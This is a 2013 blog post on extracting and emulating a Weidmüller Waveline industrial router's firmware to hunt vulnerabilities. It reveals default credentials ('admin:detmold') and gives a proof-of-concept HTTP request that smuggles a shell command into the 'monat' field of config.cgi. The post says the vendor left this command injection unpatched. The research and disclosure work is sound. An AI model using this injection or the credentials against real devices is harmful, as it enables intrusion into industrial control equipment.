Tuesday, September 3, 2013

Emulating binaries to discover vulnerabilities in industrial devices

By Ruben Santamarta @Reversemode

Emulating an industrial device in a controlled environment is a really helpful security tool. You can gain a better knowledge of how it works, identify potential attack vectors, and verify the vulnerabilities you discovered using static methods.

This post provides step-by-step instructions on how to emulate an industrial router with publicly available firmware. This is a pretty common case, so you should be able to apply this methodology to other scenarios.

The target is the Waveline family of industrial routers from the German automation vendor Weidmüller. The firmware is publicly available at its website.


Envision the firmware as a matryoshka doll, commonly known as a Russian nesting doll. Our goal is to find the interesting part in the firmware, the innermost doll, by going through the different outer layers. Binwalk will be our best friend for this task.

We found the following two files when we unzipped the firmware: 


$ tar -jxvf IE-AR-100T-WAVE_firmware
x deviceID
x IE-AR-100T-WAVE_uImage

We found uImage firmware, so now we search for any embedded file system by dumping it.

$ binwalk IE-AR-100T-WAVE_uImage 
0         0x0       uImage header, header size: 64 bytes, header CRC: 0x520DABFB, created: Tue Jun 30 09:32:08 2009, image size: 9070000 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xD822B635, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: Linux-
12891     0x325B    LZMA compressed data, properties: 0xD4, dictionary size: 1543503872 bytes, uncompressed size: 536870912 bytes
14096     0x3710    gzip compressed data, from Unix, last modified: Tue Jun 30 09:32:07 2009, max compression
4850352   0x4A02B0  gzip compressed data, has comment, comment, last modified: Fri Jan 12 11:25:10 2029

We use the handy option '--dd' to extract the gz file located at offset 0x3710.

$ binwalk --dd=gzip:gz:1 IE-AR-100T-WAVE_uImage

Now we have 3710.gz, so we use 'gunzip + binwalk' one more time.

$ binwalk 3710 
89440     0x15D60   gzip compressed data, from Unix, last modified: Tue Jun 30 09:31:59 2009, max compression

We extract the gzip blob at 0x15D60.

$ binwalk --dd=gzip:gz:1 3710
$ file 15D60 
15D60: ASCII cpio archive (SVR4 with no CRC)

As a last step, we create a new directory ('ioafs') where the contents of this cpio file will be extracted. 

$ cpio -imv --no-absolute-filenames < 15D60

We finally have the original filesystem.

We look at an arbitrary file to see what platform it was built for.

Now we are ready to build an environment to execute those ARM binaries using QEMU user-mode emulation.

1.Compile qemu statically.
./configure --static --target-list=armeb-linux-user –-enable-debug

2. Copy the resulting binary from 'armeb-linux-user/qemu-armeb' to the target filesystem 'ioafs/usr/bin'.

3. Copy the target's lib directory ('ioafs/lib') into '/usr/gnemul/qemu-arm' (you may need to create this directory). This will allow qemu-arm's user-mode emulation use the target's libraries.

4. Enable additional 'binmfts' in the kernel.
$ echo ":armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28 :\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff: /usr/bin/qemu-armeb:" > /proc/sys/fs/binfmt_misc/register

5. Bind your 'dev' and 'proc' to the target environment.
$ mount -o bind /dev ioafs/dev
$ mount -t proc proc ioafs/proc

6. 'chroot' into our emulated device ('ioafs').
$ chroot . bin/ash

Finding Vulnerabilities

From this point, hunting for vulnerabilities is pretty much the same as in any other *nix environment (check for proprietary services, accounts, etc.).

Today, almost all industrial devices have an embedded web server. Some of them use this interface to expose simple functionality for checking status, but others allow the operator to configure and control the device. The first thing to look for is a private key that could be used to implement MITM attacks.

Waveline routers use a well-known http server, lighttpd. We look in '/etc/lighttpd' and find the private key at '/etc/lighttpd/wm.pem'.

We see that '/etc/init.d/S60httpd' starts the lighttpd web server and can be used to configure its authentication.

If we decompress '/etc/ulsp_config.tgz' we can find the SYSTEM_USER_PASS in 'system.config'.

We have just discovered that the default credentials are 'admin:detmold'.

We start the service and access the web interface.

We can now analyze the server's DOCUMENT_ROOT ('/home/httpd') to see what kind of content is being served.

The operator can fully configure the device via several CGIs. We discover something interesting by reversing 'config.cgi'. 

As we can see in the menu, one of the options allows the operator to change the system time. However, this CGI was not designed with security in mind, and it allows an attacker to make other changes. The CGI is not filtering the input data from the web interface. Therefore, the 'system' call can be invoked with arbitrary values, leading to remote command injection vulnerability. If the operator is tricked into visiting a specially crafted website, this flaw can be exploited using a CSRF.

Proof of Concept

POST /config.cgi HTTP/1.1
Host: nsa.prism
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,ar-jo;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
lang=englis&item=2&act=1&timemode=man&tzidx=0&jahr=2012&monat=|echo 1 >/home/httpd/amipowned&tag=07&std=21&min=00&sek=3

There are some additional vulnerabilities in this device, but those are left as an exercise for the reader.

These vulnerabilities were properly disclosed to the vendor who decided not to release a patch due to the small number of devices actually deployed.

No comments:

Post a Comment